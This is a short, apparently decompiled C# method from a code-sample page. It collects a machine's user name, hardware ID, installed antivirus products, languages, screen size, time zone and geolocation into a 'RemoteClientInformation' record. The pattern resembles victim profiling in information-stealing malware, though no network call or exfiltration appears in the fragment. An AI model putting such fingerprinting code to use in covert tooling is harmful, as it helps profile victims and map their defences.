예제 #1
0
 public static RemoteClientInformation CreateRandom(string SourceID)
 {
     try
     {
         GeoLocationHelper.Initialize();
         Size   screenSize = GetScreenSize();
         string text       = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
         if (!text.StartsWith("-"))
         {
             text = "+" + text;
         }
         return(new RemoteClientInformation
         {
             ID = 0,
             LogTime = DateTime.Now,
             SourceID = SourceID,
             UserName = Environment.UserName,
             ClientIP = RandomIp(),
             Country = GeoLocationHelper.GeoInfo.CountryCode,
             OperationSystem = ParseOS(),
             HardwareID = ParseHWID(),
             Hardwares = ParseHardwares(),
             Antiviruses = ParseDefenders(),
             Languages = AvailableLanguages(),
             CurrentLanguage = InputLanguage.get_CurrentInputLanguage().get_Culture().EnglishName,
             MonitorSize = $"{screenSize.Width}x{screenSize.Height}",
             TimeZone = "UTC" + text,
             City = GeoLocationHelper.GeoInfo.City
         });
     }
     catch
     {
         return(null);
     }
 }